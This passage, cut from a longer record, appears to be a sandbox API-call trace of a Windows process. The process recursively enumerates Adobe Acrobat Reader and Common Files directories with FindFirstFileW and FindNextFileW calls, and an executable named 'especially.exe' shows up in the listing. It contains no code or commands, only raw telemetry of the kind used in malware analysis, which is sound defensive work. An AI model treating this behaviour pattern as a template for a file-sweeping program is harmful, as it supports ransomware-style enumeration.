dwReserved1=0x0, cFileName="ROMANIAN.TXT", cAlternateFileName="")) returned 1 [0265.226] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYMBOL.TXT", cAlternateFileName="")) returned 1 [0265.226] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb59829, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x31fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURKISH.TXT", cAlternateFileName="")) returned 1 [0265.227] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x11fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 1 [0265.227] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x11fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 0 [0265.227] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0265.259] GetProcessHeap () returned 0xc10000 [0265.259] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0265.259] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1 [0265.259] GetProcessHeap () returned 0xc10000 [0265.259] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0265.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0265.263] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.263] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2647, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1250.TXT", cAlternateFileName="")) returned 1 [0265.263] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2502, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1251.TXT", cAlternateFileName="")) returned 1 [0265.263] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2598, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1252.TXT", cAlternateFileName="")) returned 1 [0265.264] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x23f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1253.TXT", cAlternateFileName="")) returned 1 [0265.264] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x258f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1254.TXT", cAlternateFileName="")) returned 1 [0265.264] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x250f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1257.TXT", cAlternateFileName="")) returned 1 [0265.264] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2505, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1258.TXT", cAlternateFileName="")) returned 1 [0265.264] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2505, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1258.TXT", cAlternateFileName="")) returned 0 [0265.264] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0265.266] GetProcessHeap () returned 0xc10000 [0265.266] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0265.266] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 0 [0265.266] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0265.266] GetProcessHeap () returned 0xc10000 [0265.267] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0265.267] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0265.267] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0265.267] GetProcessHeap () returned 0xc10000 [0265.267] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0265.269] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 0 [0265.269] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0265.269] GetProcessHeap () returned 0xc10000 [0265.269] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.269] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0265.270] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0265.270] GetProcessHeap () returned 0xc10000 [0265.270] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0265.271] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0265.271] GetProcessHeap () returned 0xc10000 [0265.271] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0265.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0265.274] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.274] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 1 [0265.274] GetProcessHeap () returned 0xc10000 [0265.274] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0265.276] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.276] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xe3667780, ftCreationTime.dwHighDateTime=0x1d16599, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe3667780, ftLastWriteTime.dwHighDateTime=0x1d16599, nFileSizeHigh=0x0, nFileSizeLow=0x3c1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRdrDC1500720033_en_US.msi", cAlternateFileName="ACRORD~1.MSI")) returned 1 [0265.276] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xe3667780, ftCreationTime.dwHighDateTime=0x1d16599, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe3667780, ftLastWriteTime.dwHighDateTime=0x1d16599, nFileSizeHigh=0x0, nFileSizeLow=0x3c1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRdrDC1500720033_en_US.msi", cAlternateFileName="ACRORD~1.MSI")) returned 0 [0265.276] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0265.276] GetProcessHeap () returned 0xc10000 [0265.276] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.276] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 0 [0265.276] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0265.276] GetProcessHeap () returned 0xc10000 [0265.276] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0265.276] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 0 [0265.277] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0265.277] GetProcessHeap () returned 0xc10000 [0265.277] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0265.524] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cfa2fe0, ftCreationTime.dwHighDateTime=0x1d5cfbd, ftLastAccessTime.dwLowDateTime=0x623992d0, ftLastAccessTime.dwHighDateTime=0x1d5cca8, ftLastWriteTime.dwLowDateTime=0x623992d0, ftLastWriteTime.dwHighDateTime=0x1d5cca8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="especially.exe", cAlternateFileName="ESPECI~1.EXE")) returned 1 [0265.524] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cfa2fe0, ftCreationTime.dwHighDateTime=0x1d5cfbd, ftLastAccessTime.dwLowDateTime=0x623992d0, ftLastAccessTime.dwHighDateTime=0x1d5cca8, ftLastWriteTime.dwLowDateTime=0x623992d0, ftLastWriteTime.dwHighDateTime=0x1d5cca8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="especially.exe", cAlternateFileName="ESPECI~1.EXE")) returned 0 [0265.524] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0265.524] GetProcessHeap () returned 0xc10000 [0265.524] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0265.524] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0265.525] GetProcessHeap () returned 0xc10000 [0265.525] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0265.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0265.526] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.526] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0265.526] GetProcessHeap () returned 0xc10000 [0265.526] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0265.527] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0265.528] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.528] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0265.528] GetProcessHeap () returned 0xc10000 [0265.528] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0265.530] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, 